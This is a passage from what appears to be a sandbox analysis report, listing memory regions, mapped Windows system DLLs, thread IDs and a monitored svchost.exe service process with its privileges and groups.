	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2981
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2982
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2983
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2984
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2985
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2986
	        start_va = 0x7feff300000
	          end_va = 0x7feff351fff
	     entry_point = 0x7feff300000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2987
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2988
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2989
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2990
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2991
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2992
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2993
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 2994
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 2995
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2996
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2997
	        start_va = 0x7fef46f0000
	          end_va = 0x7fef472bfff
	     entry_point = 0x7fef46f0000
	     region_type = mapped_file
	            name = "wmiprov.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll")

Region:
	              id = 2998
	        start_va = 0x7fef80a0000
	          end_va = 0x7fef80c5fff
	     entry_point = 0x7fef80a0000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")


Thread:
	id = 276
	os_tid = 0x15c


Thread:
	id = 277
	os_tid = 0x540


Thread:
	id = 278
	os_tid = 0x5c0


Thread:
	id = 279
	os_tid = 0x530


Thread:
	id = 280
	os_tid = 0x2f4


Thread:
	id = 281
	os_tid = 0x418


Thread:
	id = 282
	os_tid = 0x118


Thread:
	id = 283
	os_tid = 0x6bc


Thread:
	id = 313
	os_tid = 0x688


Thread:
	id = 320
	os_tid = 0x7c4


Thread:
	id = 323
	os_tid = 0x2e0


Thread:
	id = 328
	os_tid = 0x6e8


Process:
	id = "15"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x2671c000"
	os_pid = "0x2a4"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "10"
	os_parent_pid = "0x348"
	cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b45b" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 2999
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 3000
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 3001
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 3002
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 3003
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3004
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 3005
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 3006
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 3007
	        start_va = 0xf0000
	          end_va = 0x1effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 3008
	        start_va = 0x1f0000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 3009
	        start_va = 0x210000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 3010
	        start_va = 0x290000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 3011
	        start_va = 0x390000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000390000"
	        filename = ""

Region:
	              id = 3012
	        start_va = 0x3a0000
	          end_va = 0x527fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003a0000"
	        filename = ""

Region:
	              id = 3013
	        start_va = 0x530000
	          end_va = 0x6b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 3014
	        start_va = 0x6c0000
	          end_va = 0x77ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000006c0000"
	        filename = ""

Region:
	              id = 3015
	        start_va = 0x780000
	          end_va = 0xb72fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000780000"
	        filename = ""

Region:
	              id = 3016
	        start_va = 0xb80000
	          end_va = 0xbbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000b80000"
	        filename = ""

Region:
	              id = 3017
	        start_va = 0xbc0000
	          end_va = 0xbdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000bc0000"
	        filename = ""

Region:
	              id = 3018
	        start_va = 0xbe0000
	          end_va = 0xc5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000be0000"
	        filename = ""

Region:
	              id = 3019
	        start_va = 0xc60000
	          end_va = 0xc62fff
	     entry_point = 0xc60000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 3020
	        start_va = 0xc70000
	          end_va = 0xc71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c70000"
	        filename = ""

Region:
	              id = 3021
	        start_va = 0xc80000
	          end_va = 0xc80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c80000"
	        filename = ""

Region:
	              id = 3022
	        start_va = 0xc90000
	          end_va = 0xc90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c90000"
	        filename = ""

Region:
	              id = 3023
	        start_va = 0xca0000
	          end_va = 0xca0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ca0000"
	        filename = ""

Region:
	              id = 3024
	        start_va = 0xce0000
	          end_va = 0xd5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 3025
	        start_va = 0xd60000
	          end_va = 0xd7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d60000"
	        filename = ""

Region:
	              id = 3026
	        start_va = 0xd80000
	          end_va = 0xe7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d80000"
	        filename = ""

Region:
	              id = 3027
	        start_va = 0xe80000
	          end_va = 0xe80fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000e80000"
	        filename = ""

Region:
	              id = 3028
	        start_va = 0xf10000
	          end_va = 0x11defff
	     entry_point = 0xf10000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 3029
	        start_va = 0x11e0000
	          end_va = 0x12dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011e0000"
	        filename = ""

Region:
	              id = 3030
	        start_va = 0x12e0000
	          end_va = 0x12e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000012e0000"
	        filename = ""

Region:
	              id = 3031
	        start_va = 0x12f0000
	          end_va = 0x12f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012f0000"
	        filename = ""

Region:
	              id = 3032
	        start_va = 0x1300000
	          end_va = 0x1300fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 3033
	        start_va = 0x1310000
	          end_va = 0x1310fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 3034
	        start_va = 0x1320000
	          end_va = 0x1320fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001320000"
	        filename = ""

Region:
	              id = 3035
	        start_va = 0x1330000
	          end_va = 0x1331fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001330000"
	        filename = ""

Region:
	              id = 3036
	        start_va = 0x1340000
	          end_va = 0x13bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001340000"
	        filename = ""

Region:
	              id = 3037
	        start_va = 0x13e0000
	          end_va = 0x145ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013e0000"
	        filename = ""

Region:
	              id = 3038
	        start_va = 0x1460000
	          end_va = 0x14c1fff
	     entry_point = 0x1460000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 3039
	        start_va = 0x1570000
	          end_va = 0x15effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001570000"
	        filename = ""

Region:
	              id = 3040
	        start_va = 0x1640000
	          end_va = 0x16bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001640000"
	        filename = ""

Region:
	              id = 3041
	        start_va = 0x16c0000
	          end_va = 0x173ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016c0000"
	        filename = ""

Region:
	              id = 3042
	        start_va = 0x1770000
	          end_va = 0x17effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001770000"
	        filename = ""

Region:
	              id = 3043
	        start_va = 0x18c0000
	          end_va = 0x1abffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000018c0000"
	        filename = ""

Region:
	              id = 3044
	        start_va = 0x1b30000
	          end_va = 0x1baffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b30000"
	        filename = ""

Region:
	              id = 3045
	        start_va = 0x1c10000
	          end_va = 0x1c8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c10000"
	        filename = ""

Region:
	              id = 3046
	        start_va = 0x1cb0000
	          end_va = 0x1d2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cb0000"
	        filename = ""

Region:
	              id = 3047
	        start_va = 0x1d70000
	          end_va = 0x1deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d70000"
	        filename = ""

Region:
	              id = 3048
	        start_va = 0x1e40000
	          end_va = 0x1ebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e40000"
	        filename = ""

Region:
	              id = 3049
	        start_va = 0x1ec0000
	          end_va = 0x1f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ec0000"
	        filename = ""

Region:
	              id = 3050
	        start_va = 0x1f40000
	          end_va = 0x1fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f40000"
	        filename = ""

Region:
	              id = 3051
	        start_va = 0x1fc0000
	          end_va = 0x23bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fc0000"
	        filename = ""

Region:
	              id = 3052
	        start_va = 0x23c0000
	          end_va = 0x243ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023c0000"
	        filename = ""

Region:
	              id = 3053
	        start_va = 0x2460000
	          end_va = 0x24dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002460000"
	        filename = ""

Region:
	              id = 3054
	        start_va = 0x24e0000
	          end_va = 0x28e2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024e0000"
	        filename = ""

Region:
	              id = 3055
	        start_va = 0x2910000
	          end_va = 0x298ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002910000"
	        filename = ""

Region:
	              id = 3056
	        start_va = 0x29b0000
	          end_va = 0x2a2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000029b0000"
	        filename = ""

Region:
	              id = 3057
	        start_va = 0x2b80000
	          end_va = 0x2bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002b80000"
	        filename = ""

Region:
	              id = 3058
	        start_va = 0x2cd0000
	          end_va = 0x2d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002cd0000"
	        filename = ""

Region:
	              id = 3059
	        start_va = 0x2d50000
	          end_va = 0x2e4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d50000"
	        filename = ""

Region:
	              id = 3060
	        start_va = 0x2e70000
	          end_va = 0x2eeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e70000"
	        filename = ""

Region:
	              id = 3061
	        start_va = 0x74d10000
	          end_va = 0x74d12fff
	     entry_point = 0x74d10000
	     region_type = mapped_file
	            name = "winmgmtr.dll"
	        filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll")

Region:
	              id = 3062
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3063
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3064
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3065
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 3066
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 3067
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3068
	        start_va = 0xff130000
	          end_va = 0xff182fff
	     entry_point = 0xff130000
	     region_type = mapped_file
	            name = "services.exe"
	        filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe")

Region:
	              id = 3069
	        start_va = 0xff660000
	          end_va = 0xff66afff
	     entry_point = 0xff660000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 3070
	        start_va = 0xff760000
	          end_va = 0xff7c1fff
	     entry_point = 0xff760000
	     region_type = mapped_file
	            name = "winlogon.exe"
	        filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe")

Region:
	              id = 3071
	        start_va = 0x7fef4e20000
	          end_va = 0x7fef4ecdfff
	     entry_point = 0x7fef4e20000
	     region_type = mapped_file
	            name = "wuapi.dll"
	        filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll")

Region:
	              id = 3072
	        start_va = 0x7fef4ed0000
	          end_va = 0x7fef4ff4fff
	     entry_point = 0x7fef4ed0000
	     region_type = mapped_file
	            name = "dbghelp.dll"
	        filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll")

Region:
	              id = 3073
	        start_va = 0x7fef77c0000
	          end_va = 0x7fef77dafff
	     entry_point = 0x7fef77c0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 3074
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 3075
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 3076
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 3077
	        start_va = 0x7fef8780000
	          end_va = 0x7fef879bfff
	     entry_point = 0x7fef8780000
	     region_type = mapped_file
	            name = "wscsvc.dll"
	        filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll")

Region:
	              id = 3078
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 3079
	        start_va = 0x7fef8ae0000
	          end_va = 0x7fef8b2efff
	     entry_point = 0x7fef8ae0000
	     region_type = mapped_file
	            name = "audioses.dll"
	        filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll")

Region:
	              id = 3080
	        start_va = 0x7fefa780000
	          end_va = 0x7fefa797fff
	     entry_point = 0x7fefa780000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 3081
	        start_va = 0x7fefa800000
	          end_va = 0x7fefa810fff
	     entry_point = 0x7fefa800000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 3082
	        start_va = 0x7fefa8e0000
	          end_va = 0x7fefa91afff
	     entry_point = 0x7fefa8e0000
	     region_type = mapped_file
	            name = "dhcpcore6.dll"
	        filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll")

Region:
	              id = 3083
	        start_va = 0x7fefa920000
	          end_va = 0x7fefa970fff
	     entry_point = 0x7fefa920000
	     region_type = mapped_file
	            name = "dhcpcore.dll"
	        filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll")

Region:
	              id = 3084
	        start_va = 0x7fefa980000
	          end_va = 0x7fefa987fff
	     entry_point = 0x7fefa980000
	     region_type = mapped_file
	            name = "nrpsrv.dll"
	        filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll")

Region:
	              id = 3085
	        start_va = 0x7fefa9a0000
	          end_va = 0x7fefa9a9fff
	     entry_point = 0x7fefa9a0000
	     region_type = mapped_file
	            name = "lmhsvc.dll"
	        filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll")

Region:
	              id = 3086
	        start_va = 0x7fefaa80000
	          end_va = 0x7fefaa8afff
	     entry_point = 0x7fefaa80000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 3087
	        start_va = 0x7fefaa90000
	          end_va = 0x7fefaab6fff
	     entry_point = 0x7fefaa90000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 3088
	        start_va = 0x7fefaef0000
	          end_va = 0x7fefaf1bfff
	     entry_point = 0x7fefaef0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 3089
	        start_va = 0x7fefaf90000
	          end_va = 0x7fefaf98fff
	     entry_point = 0x7fefaf90000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 3090
	        start_va = 0x7fefafa0000
	          end_va = 0x7fefb04bfff
	     entry_point = 0x7fefafa0000
	     region_type = mapped_file
	            name = "audiosrv.dll"
	        filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll")

Region:
	              id = 3091
	        start_va = 0x7fefb1c0000
	          end_va = 0x7fefb1d4fff
	     entry_point = 0x7fefb1c0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 3092
	        start_va = 0x7fefb1e0000
	          end_va = 0x7fefb1ebfff
	     entry_point = 0x7fefb1e0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 3093
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 3094
	        start_va = 0x7fefb4e0000
	          end_va = 0x7fefb52afff
	     entry_point = 0x7fefb4e0000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 3095
	        start_va = 0x7fefb950000
	          end_va = 0x7fefba7bfff
	     entry_point = 0x7fefb950000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 3096
	        start_va = 0x7fefbfc0000
	          end_va = 0x7fefc155fff
	     entry_point = 0x7fefbfc0000
	     region_type = mapped_file
	            name = "wevtsvc.dll"
	        filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll")

Region:
	              id = 3097
	        start_va = 0x7fefc160000
	          end_va = 0x7fefc16bfff
	     entry_point = 0x7fefc160000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 3098
	        start_va = 0x7fefc170000
	          end_va = 0x7fefc22afff
	     entry_point = 0x7fefc170000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 3099
	        start_va = 0x7fefc230000
	          end_va = 0x7fefc236fff
	     entry_point = 0x7fefc230000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 3100
	        start_va = 0x7fefc330000
	          end_va = 0x7fefc34afff
	     entry_point = 0x7fefc330000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 3101
	        start_va = 0x7fefc350000
	          end_va = 0x7fefc36dfff
	     entry_point = 0x7fefc350000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 3102
	        start_va = 0x7fefc460000
	          end_va = 0x7fefc469fff
	     entry_point = 0x7fefc460000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 3103
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3104
	        start_va = 0x7fefc6b0000
	          end_va = 0x7fefc70afff
	     entry_point = 0x7fefc6b0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 3105
	        start_va = 0x7fefc820000
	          end_va = 0x7fefc826fff
	     entry_point = 0x7fefc820000
	     region_type = mapped_file
	            name = "wship6.dll"
